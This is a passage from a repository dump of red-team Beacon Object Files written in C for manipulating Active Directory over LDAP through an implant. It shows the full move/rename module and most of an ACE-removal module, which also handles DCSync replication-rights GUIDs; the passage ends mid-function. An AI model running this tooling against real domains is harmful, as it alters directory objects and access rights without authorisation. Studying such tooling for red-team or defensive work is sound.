MSVCRT$free(dcHostname);\n    CleanupLDAP(ld);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Found %d objects with write permissions\", writableCount);\n}\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/move/move-object.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n\nDECLSPEC_IMPORT ULONG WLDAP32$ldap_rename_ext_s(\n    LDAP* ld, \n    PCHAR dn, \n    PCHAR newrdn, \n    PCHAR newparent, \n    int deleteoldrdn,\n    PLDAPControlA* ServerControls,\n    PLDAPControlA* ClientControls\n);\n\n// Extract RDN from a full DN\n// Returns a newly allocated string with just the \"CN=Something\" part\nchar* ExtractRDN(const char* dn) {\n    if (!dn || MSVCRT$strlen(dn) == 0) return NULL;\n    \n    // Find the first comma (end of RDN)\n    const char* comma = MSVCRT$strstr(dn, \",\");\n    \n    if (!comma) {\n        // No comma found - the entire thing is the RDN\n        size_t len = MSVCRT$strlen(dn) + 1;\n        char* rdn = (char*)MSVCRT$malloc(len);\n        if (rdn) {\n            MSVCRT$strcpy(rdn, dn);\n        }\n        return rdn;\n    }\n    \n    // Extract everything before the comma\n    size_t rdnLen = comma - dn;\n    char* rdn = (char*)MSVCRT$malloc(rdnLen + 1);\n    if (rdn) {\n        MSVCRT$memcpy(rdn, dn, rdnLen);\n        rdn[rdnLen] = '\\0';\n    }\n    \n    return rdn;\n}\n\n// Extract parent DN from a full DN\n// Returns a newly allocated string with everything after the first comma\nchar* ExtractParentDN(const char* dn) {\n    if (!dn || MSVCRT$strlen(dn) == 0) return NULL;\n    \n    // Find the first comma\n    const char* comma = MSVCRT$strstr(dn, \",\");\n    \n    if (!comma || *(comma + 1) == '\\0') {\n        // No parent (or comma at end)\n        return NULL;\n    }\n    \n    // Skip the comma and extract the rest\n    comma++; // Move past the comma\n    size_t parentLen = MSVCRT$strlen(comma) + 1;\n    char* parent = (char*)MSVCRT$malloc(parentLen);\n    if (parent) {\n        MSVCRT$strcpy(parent, comma);\n    }\n    \n    return parent;\n}\n\n// Extract the CN value from an RDN (without the \"CN=\" prefix)\n// E.g., \"CN=User Name\" -> \"User Name\"\nchar* ExtractCNValue(const char* rdn) {\n    if (!rdn || MSVCRT$strlen(rdn) < 4) return NULL;\n    \n    // Check if it starts with \"CN=\"\n    if (MSVCRT$strncmp(rdn, \"CN=\", 3) != 0) {\n        // Not a CN-based RDN, return as-is\n        size_t len = MSVCRT$strlen(rdn) + 1;\n        char* value = (char*)MSVCRT$malloc(len);\n        if (value) {\n            MSVCRT$strcpy(value, rdn);\n        }\n        return value;\n    }\n    \n    // Skip \"CN=\" and return the rest\n    const char* value = rdn + 3;\n    size_t len = MSVCRT$strlen(value) + 1;\n    char* result = (char*)MSVCRT$malloc(len);\n    if (result) {\n        MSVCRT$strcpy(result, value);\n    }\n    \n    return result;\n}\n\n// Build a new full DN from RDN and parent\nchar* BuildFullDN(const char* rdn, const char* parentDN) {\n    if (!rdn) return NULL;\n    \n    size_t totalLen = MSVCRT$strlen(rdn) + 1; // RDN + null terminator\n    \n    if (parentDN && MSVCRT$strlen(parentDN) > 0) {\n        totalLen += 1 + MSVCRT$strlen(parentDN); // comma + parent DN\n    }\n    \n    char* fullDN = (char*)MSVCRT$malloc(totalLen);\n    if (!fullDN) return NULL;\n    \n    MSVCRT$strcpy(fullDN, rdn);\n    \n    if (parentDN && MSVCRT$strlen(parentDN) > 0) {\n        MSVCRT$strcat(fullDN, \",\");\n        MSVCRT$strcat(fullDN, parentDN);\n    }\n    \n    return fullDN;\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments: source_identifier, is_source_dn, target_ou, new_name,\n    // search_ou, dc_address, use_ldaps\n    char* sourceIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isSourceDN = BeaconDataInt(&parser);\n    char* targetOU = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* newName = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    // Validate required parameters\n    if (!sourceIdentifier || MSVCRT$strlen(sourceIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Source object identifier is required\");\n        return;\n    }\n    \n    // Must have at least one operation: move OR rename\n    if ((!targetOU || MSVCRT$strlen(targetOU) == 0) && \n        (!newName || MSVCRT$strlen(newName) == 0)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Must specify target OU and/or new name\");\n        return;\n    }\n    \n    // Initialize LDAP connection\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        return;\n    }\n    \n    // Get default naming context (needed for searches if DN not provided)\n    char* defaultNC = NULL;\n    char* sourceDN = NULL;\n    \n    if (!isSourceDN) {\n        \n        defaultNC = GetDefaultNamingContext(ld, dcHostname);\n        if (!defaultNC) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n            if (dcHostname) MSVCRT$free(dcHostname);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    // Resolve source DN\n    if (isSourceDN) {\n        // Source identifier is already a DN\n        size_t len = MSVCRT$strlen(sourceIdentifier) + 1;\n        sourceDN = (char*)MSVCRT$malloc(len);\n        if (sourceDN) {\n            MSVCRT$strcpy(sourceDN, sourceIdentifier);\n        }\n    } else {\n        // Search for source by sAMAccountName\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        sourceDN = FindObjectDN(ld, sourceIdentifier, searchBase);\n        \n        if (!sourceDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve source DN\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Object '%s' not found\", sourceIdentifier);\n            if (defaultNC) MSVCRT$free(defaultNC);\n            CleanupLDAP(ld);\n            return;\n        }\n    }\n    \n    // Extract current RDN and parent from source DN\n    char* currentRDN = ExtractRDN(sourceDN);\n    char* currentParent = ExtractParentDN(sourceDN);\n    \n    if (!currentRDN) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse source DN\");\n        if (defaultNC) MSVCRT$free(defaultNC);\n        if (sourceDN) MSVCRT$free(sourceDN);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Determine new RDN\n    char* newRDN = NULL;\n    if (newName && MSVCRT$strlen(newName) > 0) {\n        // User specified a new name\n        // Check if it already has a prefix (CN=, OU=, etc.)\n        if (MSVCRT$strstr(newName, \"=\")) {\n            // Already has a prefix, use as-is\n            size_t len = MSVCRT$strlen(newName) + 1;\n            newRDN = (char*)MSVCRT$malloc(len);\n            if (newRDN) {\n                MSVCRT$strcpy(newRDN, newName);\n            }\n        } else {\n            // No prefix, add \"CN=\"\n            size_t len = 3 + MSVCRT$strlen(newName) + 1;\n            newRDN = (char*)MSVCRT$malloc(len);\n            if (newRDN) {\n                MSVCRT$_snprintf(newRDN, len, \"CN=%s\", newName);\n            }\n        }\n    } else {\n        // No rename, use current RDN\n        size_t len = MSVCRT$strlen(currentRDN) + 1;\n        newRDN = (char*)MSVCRT$malloc(len);\n        if (newRDN) {\n            MSVCRT$strcpy(newRDN, currentRDN);\n        }\n    }\n    \n    // Determine new parent\n    char* newParent = NULL;\n    if (targetOU && MSVCRT$strlen(targetOU) > 0) {\n        // User specified a target OU\n        size_t len = MSVCRT$strlen(targetOU) + 1;\n        newParent = (char*)MSVCRT$malloc(len);\n        if (newParent) {\n            MSVCRT$strcpy(newParent, targetOU);\n        }\n    } else {\n        // No move, use current parent\n        if (currentParent) {\n            size_t len = MSVCRT$strlen(currentParent) + 1;\n            newParent = (char*)MSVCRT$malloc(len);\n            if (newParent) {\n                MSVCRT$strcpy(newParent, currentParent);\n            }\n        }\n    }\n    \n    // Build expected new full DN for display\n    char* expectedNewDN = BuildFullDN(newRDN, newParent);\n    \n    // Determine what operation we're doing\n    BOOL isMove = FALSE;\n    BOOL isRename = FALSE;\n    \n    if (targetOU && MSVCRT$strlen(targetOU) > 0) {\n        // Check if we're actually changing the parent\n        if (!currentParent || MSVCRT$strcmp(currentParent, targetOU) != 0) {\n            isMove = TRUE;\n        }\n    }\n    \n    if (newName && MSVCRT$strlen(newName) > 0) {\n        // Check if we're actually changing the RDN\n        if (MSVCRT$strcmp(currentRDN, newRDN) != 0) {\n            isRename = TRUE;\n        }\n    }\n    \n    if (!isMove && !isRename) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[!] No changes detected - object already at target location with target name\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Current DN: %s\", sourceDN);\n        goto cleanup;\n    }\n    \n    // Perform the rename/move operation\n    // Using ldap_rename_ext_s (the actual function exported by wldap32.dll)\n    // Parameters: ld, current DN, new RDN, new parent, deleteoldrdn (1 = yes), \n    //             ServerControls (NULL), ClientControls (NULL)\n    ULONG result = WLDAP32$ldap_rename_ext_s(\n        ld,\n        sourceDN,\n        newRDN,\n        newParent,\n        1,      // deleteoldrdn: 1 = delete old RDN value, 0 = keep it\n        NULL,   // ServerControls\n        NULL    // ClientControls\n    );\n    \n    if (result == LDAP_SUCCESS) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n[+] Successfully completed operation!\");\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Old DN: %s\", sourceDN);\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] New DN: %s\", expectedNewDN ? expectedNewDN : \"(unable to construct)\");\n        \n        if (isMove && isRename) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Object moved and renamed successfully\");\n            \n            // Extract the CN value for display\n            char* oldName = ExtractCNValue(currentRDN);\n            char* newNameValue = ExtractCNValue(newRDN);\n            if (oldName && newNameValue) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+]   Name: %s -> %s\", oldName, newNameValue);\n            }\n            if (oldName) MSVCRT$free(oldName);\n            if (newNameValue) MSVCRT$free(newNameValue);\n            \n            if (currentParent && newParent) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+]   Location: %s -> %s\", currentParent, newParent);\n            }\n        } else if (isMove) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Object moved successfully\");\n            if (currentParent && newParent) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+]   From: %s\", currentParent);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+]   To:   %s\", newParent);\n            }\n        } else if (isRename) {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Object renamed successfully\");\n            char* oldName = ExtractCNValue(currentRDN);\n            char* newNameValue = ExtractCNValue(newRDN);\n            if (oldName && newNameValue) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+]   Old name: %s\", oldName);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+]   New name: %s\", newNameValue);\n            }\n            if (oldName) MSVCRT$free(oldName);\n            if (newNameValue) MSVCRT$free(newNameValue);\n        }\n        \n    } else {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to move/rename object\");\n        PrintLdapError(\"Move/rename object\", result);\n        BeaconPrintf(CALLBACK_OUTPUT, \"\");\n        \n        // Provide specific error guidance\n        if (result == LDAP_NO_SUCH_OBJECT) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Target OU does not exist\");\n            if (newParent) {\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Verify OU path: %s\", newParent);\n            }\n        } else if (result == LDAP_ALREADY_EXISTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] An object with that name already exists in the target location\");\n            if (expectedNewDN) {\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Conflicting DN: %s\", expectedNewDN);\n            }\n        } else if (result == LDAP_INSUFFICIENT_RIGHTS) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Insufficient permissions to move/rename object\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Required permissions:\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - Delete permission on source object\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - Create child permission on target OU\");\n        } else if (result == LDAP_INVALID_DN_SYNTAX) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Invalid DN syntax in target OU\");\n            if (newParent) {\n                BeaconPrintf(CALLBACK_ERROR, \"[!] Check DN format: %s\", newParent);\n            }\n        } else if (result == LDAP_OPERATIONS_ERROR) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Operation not permitted\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Possible causes:\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - Trying to move critical system object\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - Target OU has restrictions\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - Object is part of infrastructure\");\n        } else if (result == LDAP_CONSTRAINT_VIOLATION) {\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Constraint violation\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Possible causes:\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - Object has child objects (can't move containers with children)\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - Target OU doesn't accept this object type\");\n            BeaconPrintf(CALLBACK_ERROR, \"[!]   - Domain controller can't complete cross-domain move\");\n        }\n    }\n    \ncleanup:\n    // Cleanup\n    if (defaultNC) MSVCRT$free(defaultNC);\n    if (dcHostname) MSVCRT$free(dcHostname);\n    if (sourceDN) MSVCRT$free(sourceDN);\n    if (currentRDN) MSVCRT$free(currentRDN);\n    if (currentParent) MSVCRT$free(currentParent);\n    if (newRDN) MSVCRT$free(newRDN);\n    if (newParent) MSVCRT$free(newParent);\n    if (expectedNewDN) MSVCRT$free(expectedNewDN);\n    CleanupLDAP(ld);\n}"
  },
  {
    "path": "AD-BOF/LDAP-BOF/src/remove/remove-ace.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n#include \"ldap_common.c\"\n#include \"acl_common.c\"\n\nDECLSPEC_IMPORT int __cdecl MSVCRT$memcmp(const void* buffer1, const void* buffer2, size_t count);\nDECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void* dest, int c, size_t count);\n\n// Helper function to compare GUIDs\nBOOL AreGuidsEqual(GUID* guid1, GUID* guid2) {\n    if (!guid1 || !guid2) return FALSE;\n    return (MSVCRT$memcmp(guid1, guid2, sizeof(GUID)) == 0);\n}\n\n// Helper function to check if an access mask represents an expanded generic right\n// Windows expands generic rights to specific rights when writing to AD\nBOOL IsExpandedGenericRight(ACCESS_MASK aceMask, ACCESS_MASK genericRight) {\n    // Define expanded forms for each generic right in Active Directory\n    \n    // GENERIC_ALL (0x10000000) expands to:\n    // DELETE | WRITE_DACL | WRITE_OWNER | READ_CONTROL | \n    // CREATE_CHILD | DELETE_CHILD | READ_PROP | WRITE_PROP | EXTENDED_RIGHT\n    const ACCESS_MASK EXPANDED_GENERIC_ALL = 0x000F0133;\n    const ACCESS_MASK EXPANDED_GENERIC_ALL_ALT = 0x000F01FF;  // Some variations\n    const ACCESS_MASK GENERIC_ALL_CORE_RIGHTS = \n        DELETE_ACCESS |                 // 0x00010000\n        WRITE_DACL |                    // 0x00040000\n        WRITE_OWNER |                   // 0x00080000\n        READ_CONTROL |                  // 0x00020000\n        ADS_RIGHT_DS_CREATE_CHILD |     // 0x00000001\n        ADS_RIGHT_DS_DELETE_CHILD |     // 0x00000002\n        ADS_RIGHT_DS_READ_PROP |        // 0x00000010\n        ADS_RIGHT_DS_WRITE_PROP |       // 0x00000020\n        ADS_RIGHT_DS_CONTROL_ACCESS;    // 0x00000100\n    \n    // GENERIC_WRITE (0x40000000) expands to:\n    // READ_CONTROL | WRITE_PROP | SELF\n    const ACCESS_MASK EXPANDED_GENERIC_WRITE = 0x00020028;\n    const ACCESS_MASK GENERIC_WRITE_CORE_RIGHTS = \n        READ_CONTROL |              // 0x00020000\n        ADS_RIGHT_DS_WRITE_PROP |   // 0x00000020\n        ADS_RIGHT_DS_SELF;          // 0x00000008\n    \n    // GENERIC_READ (0x80000000) expands to:\n    // READ_CONTROL | LIST_CHILDREN | READ_PROP | LIST_OBJECT\n    const ACCESS_MASK EXPANDED_GENERIC_READ = 0x00020094;\n    const ACCESS_MASK GENERIC_READ_CORE_RIGHTS = \n        READ_CONTROL |              // 0x00020000\n        ADS_RIGHT_ACTRL_DS_LIST |   // 0x00000004\n        ADS_RIGHT_DS_READ_PROP |    // 0x00000010\n        ADS_RIGHT_DS_LIST_OBJECT;   // 0x00000080\n    \n    // GENERIC_EXECUTE (0x20000000) expands to:\n    // READ_CONTROL | LIST_CHILDREN\n    const ACCESS_MASK EXPANDED_GENERIC_EXECUTE = 0x00020004;\n    const ACCESS_MASK GENERIC_EXECUTE_CORE_RIGHTS = \n        READ_CONTROL |              // 0x00020000\n        ADS_RIGHT_ACTRL_DS_LIST;    // 0x00000004\n    \n    // Check which generic right we're looking for\n    if (genericRight == GENERIC_ALL) {\n        // Check exact matches\n        if (aceMask == EXPANDED_GENERIC_ALL || aceMask == EXPANDED_GENERIC_ALL_ALT) {\n            return TRUE;\n        }\n        // Check if mask contains all core rights\n        if ((aceMask & GENERIC_ALL_CORE_RIGHTS) == GENERIC_ALL_CORE_RIGHTS) {\n            return TRUE;\n        }\n    }\n    else if (genericRight == GENERIC_WRITE) {\n        // Check exact match\n        if (aceMask == EXPANDED_GENERIC_WRITE) {\n            return TRUE;\n        }\n        // Check if mask contains all core rights\n        if ((aceMask & GENERIC_WRITE_CORE_RIGHTS) == GENERIC_WRITE_CORE_RIGHTS) {\n            return TRUE;\n        }\n    }\n    else if (genericRight == GENERIC_READ) {\n        // Check exact match\n        if (aceMask == EXPANDED_GENERIC_READ) {\n            return TRUE;\n        }\n        // Check if mask contains all core rights\n        if ((aceMask & GENERIC_READ_CORE_RIGHTS) == GENERIC_READ_CORE_RIGHTS) {\n            return TRUE;\n        }\n    }\n    else if (genericRight == GENERIC_EXECUTE) {\n        // Check exact match\n        if (aceMask == EXPANDED_GENERIC_EXECUTE) {\n            return TRUE;\n        }\n        // Check if mask contains all core rights\n        if ((aceMask & GENERIC_EXECUTE_CORE_RIGHTS) == GENERIC_EXECUTE_CORE_RIGHTS) {\n            return TRUE;\n        }\n    }\n    \n    return FALSE;\n}\n\n// Helper function to check if an ACE matches a specific GUID for extended rights\nBOOL DoesAceMatchGuid(PPARSED_ACE_INFO ace, const char* guidString) {\n    if (!ace || !guidString) return FALSE;\n    \n    // Must be an object ACE with object type\n    if (!ace->IsObjectAce || !ace->HasObjectType) {\n        return FALSE;\n    }\n    \n    // Parse the GUID string and compare\n    GUID targetGuid;\n    MSVCRT$memset(&targetGuid, 0, sizeof(GUID));\n    if (StringToGuid(guidString, &targetGuid)) {\n        return AreGuidsEqual(&ace->ObjectType, &targetGuid);\n    }\n    \n    return FALSE;\n}\n\n// Helper function to check if an ACE matches our removal criteria\nBOOL DoesAceMatch(PPARSED_ACE_INFO ace, const char* trusteeSid, ACCESS_MASK accessMask, \n                  BYTE aceType, GUID** guidsToMatch, DWORD guidCount) {\n    if (!ace || !trusteeSid) return FALSE;\n    \n    // First check: SID must match\n    if (!ace->TrusteeSid || MSVCRT$strcmp(ace->TrusteeSid, trusteeSid) != 0) {\n        return FALSE;\n    }\n    \n    // If we have GUIDs to match (like DCSync), check those\n    if (guidsToMatch && guidCount > 0) {\n        // Must be an object ACE with object type\n        if (!ace->IsObjectAce || !ace->HasObjectType) {\n            return FALSE;\n        }\n        \n        // Check if ACE's GUID matches any of our target GUIDs\n        for (DWORD i = 0; i < guidCount; i++) {\n            if (guidsToMatch[i] && AreGuidsEqual(&ace->ObjectType, guidsToMatch[i])) {\n                return TRUE;\n            }\n        }\n        return FALSE;\n    }\n    \n    // No GUID matching - check access mask and type\n    // If access mask is 0, match any mask (remove all ACEs for this trustee)\n    if (accessMask == 0) {\n        // Check ACE type if specified\n        if (aceType != 0xFF && ace->AceType != aceType) {\n            return FALSE;\n        }\n        return TRUE;\n    }\n    \n    // Check if the requested mask is a generic right that might be expanded\n    // Handle GENERIC_ALL, GENERIC_WRITE, GENERIC_READ, GENERIC_EXECUTE\n    if (accessMask == GENERIC_ALL || accessMask == GENERIC_WRITE || \n        accessMask == GENERIC_READ || accessMask == GENERIC_EXECUTE) {\n        \n        // Check if ACE mask is the expanded form of the generic right\n        if (IsExpandedGenericRight(ace->Mask, accessMask)) {\n            // ACE type check\n            if (aceType != 0xFF && ace->AceType != aceType) {\n                return FALSE;\n            }\n            return TRUE;\n        }\n        \n        // Also check for literal generic right (rare but possible)\n        if (ace->Mask == accessMask) {\n            if (aceType != 0xFF && ace->AceType != aceType) {\n                return FALSE;\n            }\n            return TRUE;\n        }\n        \n        return FALSE;\n    }\n    \n    // Normal access mask matching (not a generic right)\n    if (ace->Mask != accessMask) {\n        return FALSE;\n    }\n    \n    // If aceType is 0xFF (wildcard), match any type\n    if (aceType != 0xFF && ace->AceType != aceType) {\n        return FALSE;\n    }\n    \n    return TRUE;\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments:\n    // target_identifier, is_target_dn, trustee_identifier, is_trustee_dn,\n    // access_mask (optional - can be keyword like \"DCSync\" or hex value),\n    // ace_type (optional - 0xFF means any type),\n    // ace_index (optional - -1 means use matching, >= 0 means remove specific index),\n    // search_ou, dc_address, use_ldaps\n    char* targetIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTargetDN = BeaconDataInt(&parser);\n    char* trusteeIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int isTrusteeDN = BeaconDataInt(&parser);\n    char* accessMaskStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* aceTypeStr = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int aceIndex = BeaconDataInt(&parser);\n    char* searchOu = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    \n    if (!targetIdentifier || MSVCRT$strlen(targetIdentifier) == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Target identifier is required\");\n        return;\n    }\n    \n    \n    // Check if this is a special keyword-based removal (e.g., DCSync)\n    BOOL isDCSyncRemoval = IsDCSyncKeyword(accessMaskStr);\n    GUID** guidsToMatch = NULL;\n    DWORD guidCount = 0;\n    GUID dcsyncGuid1, dcsyncGuid2;\n    \n    if (isDCSyncRemoval) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] DCSync removal detected\");\n        \n        // Parse the two DCSync GUIDs\n        MSVCRT$memset(&dcsyncGuid1, 0, sizeof(GUID));\n        MSVCRT$memset(&dcsyncGuid2, 0, sizeof(GUID));\n        \n        if (StringToGuid(GUID_DS_REPLICATION_GET_CHANGES, &dcsyncGuid1) &&\n            StringToGuid(GUID_DS_REPLICATION_GET_CHANGES_ALL, &dcsyncGuid2)) {\n            \n            guidsToMatch = (GUID**)MSVCRT$malloc(2 * sizeof(GUID*));\n            if (guidsToMatch) {\n                guidsToMatch[0] = &dcsyncGuid1;\n                guidsToMatch[1] = &dcsyncGuid2;\n                guidCount = 2;\n            }\n        }\n    }\n    \n    // Determine removal mode\n    BOOL removeByIndex = (aceIndex >= 0);\n    ACCESS_MASK accessMask = 0;\n    BYTE aceType = 0xFF; // Wildcard by default\n    \n    if (removeByIndex) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Mode: Remove by ACE Index: %d\", aceIndex);\n    } else {\n        // Remove by matching\n        if (!trusteeIdentifier || MSVCRT$strlen(trusteeIdentifier) == 0) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Trustee identifier required when not removing by index\");\n            if (guidsToMatch) MSVCRT$free(guidsToMatch);\n            return;\n        }\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Mode: Remove by matching trustee and permissions\");\n        \n        // Parse access mask and type (unless DCSync)\n        if (!isDCSyncRemoval) {\n            if (accessMaskStr && MSVCRT$strlen(accessMaskStr) > 0) {\n                accessMask = ParseAccessMask(accessMaskStr);\n                if (accessMask != 0) {\n                    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Access Mask: %s (0x%08x)\", accessMaskStr, accessMask);\n                }\n            }\n            \n            if (aceTypeStr && MSVCRT$strlen(aceTypeStr) > 0) {\n                aceType = ParseAceType(aceTypeStr);\n                BeaconPrintf(CALLBACK_OUTPUT, \"[*] ACE Type: %s (0x%02x)\", aceTypeStr, aceType);\n            }\n            \n            if (accessMask == 0 && aceType == 0xFF) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[*] Will remove ALL ACEs for this trustee\");\n            }\n        }\n    }\n    \n    // Display optional parameters\n    if (searchOu && MSVCRT$strlen(searchOu) > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Search OU: %s\", searchOu);\n    }\n    if (dcAddress && MSVCRT$strlen(dcAddress) > 0) {\n    }\n    if (useLdaps) {\n    }\n    \n    // Initialize LDAP connection\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Initializing LDAP connection...\");\n    char* dcHostname = NULL;\n    LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to initialize LDAP connection\");\n        if (guidsToMatch) MSVCRT$free(guidsToMatch);\n        return;\n    }\n    \n    // Get default naming context\n    char* defaultNC = GetDefaultNamingContext(ld, dcHostname);\n    if (!defaultNC) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get default naming context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        if (guidsToMatch) MSVCRT$free(guidsToMatch);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Variables for cleanup\n    char* targetDN = NULL;\n    char* trusteeDN = NULL;\n    PSID pTrusteeSid = NULL;\n    char* trusteeSidStr = NULL;\n    BERVAL* sdBerval = NULL;\n    PSD_INFO sdInfo = NULL;\n    PSID pObjectSid = NULL;\n    char* objectSidStr = NULL;\n    DWORD* acesToRemove = NULL;\n    PACL pNewDacl = NULL;\n    BERVAL* newSdBerval = NULL;\n    \n    // Resolve target DN\n    if (isDCSyncRemoval && !isTargetDN && MSVCRT$strlen(targetIdentifier) == 0) {\n        // For DCSync, empty target means domain root\n        size_t len = MSVCRT$strlen(defaultNC) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, defaultNC);\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] Using domain root: %s\", targetDN);\n        }\n    } else if (isTargetDN) {\n        size_t len = MSVCRT$strlen(targetIdentifier) + 1;\n        targetDN = (char*)MSVCRT$malloc(len);\n        if (targetDN) {\n            MSVCRT$strcpy(targetDN, targetIdentifier);\n        }\n    } else {\n        char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n        targetDN = FindObjectDN(ld, targetIdentifier, searchBase);\n        if (!targetDN) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Target '%s' not found\", targetIdentifier);\n            goto cleanup;\n        }\n    }\n    \n    if (!targetDN) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to resolve target DN\");\n        goto cleanup;\n    }\n    \n    // Resolve trustee if removing by match (not by index)\n    if (!removeByIndex) {\n        \n        if (isTrusteeDN) {\n            size_t len = MSVCRT$strlen(trusteeIdentifier) + 1;\n            trusteeDN = (char*)MSVCRT$malloc(len);\n            if (trusteeDN) {\n                MSVCRT$strcpy(trusteeDN, trusteeIdentifier);\n            }\n        } else {\n            char* searchBase = (searchOu && MSVCRT$strlen(searchOu) > 0) ? searchOu : defaultNC;\n            trusteeDN = FindObjectDN(ld, trusteeIdentifier, searchBase);\n            if (!trusteeDN) {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Trustee '%s' not found\", trusteeIdentifier);\n                goto cleanup;\n            }\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Resolved trustee DN: %s\", trusteeDN);\n        }\n        \n        // Get trustee's SID\n        pTrusteeSid = GetObjectSid(ld, trusteeDN);\n        if (!pTrusteeSid) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get trustee's objectSid\");\n            goto cleanup;\n        }\n        \n        trusteeSidStr = SidToString(pTrusteeSid);\n        if (!trusteeSidStr) {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to convert trustee SID to string\");\n            goto cleanup;\n        }\n        \n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Trustee SID: %s\", trusteeSidStr);\n    }\n    \n    // Read current security descriptor\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] Reading security descriptor...\");\n    sdBerval = ReadSecurityDescriptor(ld, targetDN);\n    if (!sdBerval) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to read security descriptor\");\n        goto cleanup;\n    }\n    \n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Read security descriptor (%d bytes)\", sdBerval->bv_len);\n    \n    // Parse security descriptor\n    sdInfo = ParseSecurityDescriptor((BYTE*)sdBerval->bv_val, sdBerval->bv_len);\n    if (!sdInfo) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to parse security descriptor\");\n        goto cleanup;\n    }\n    \n    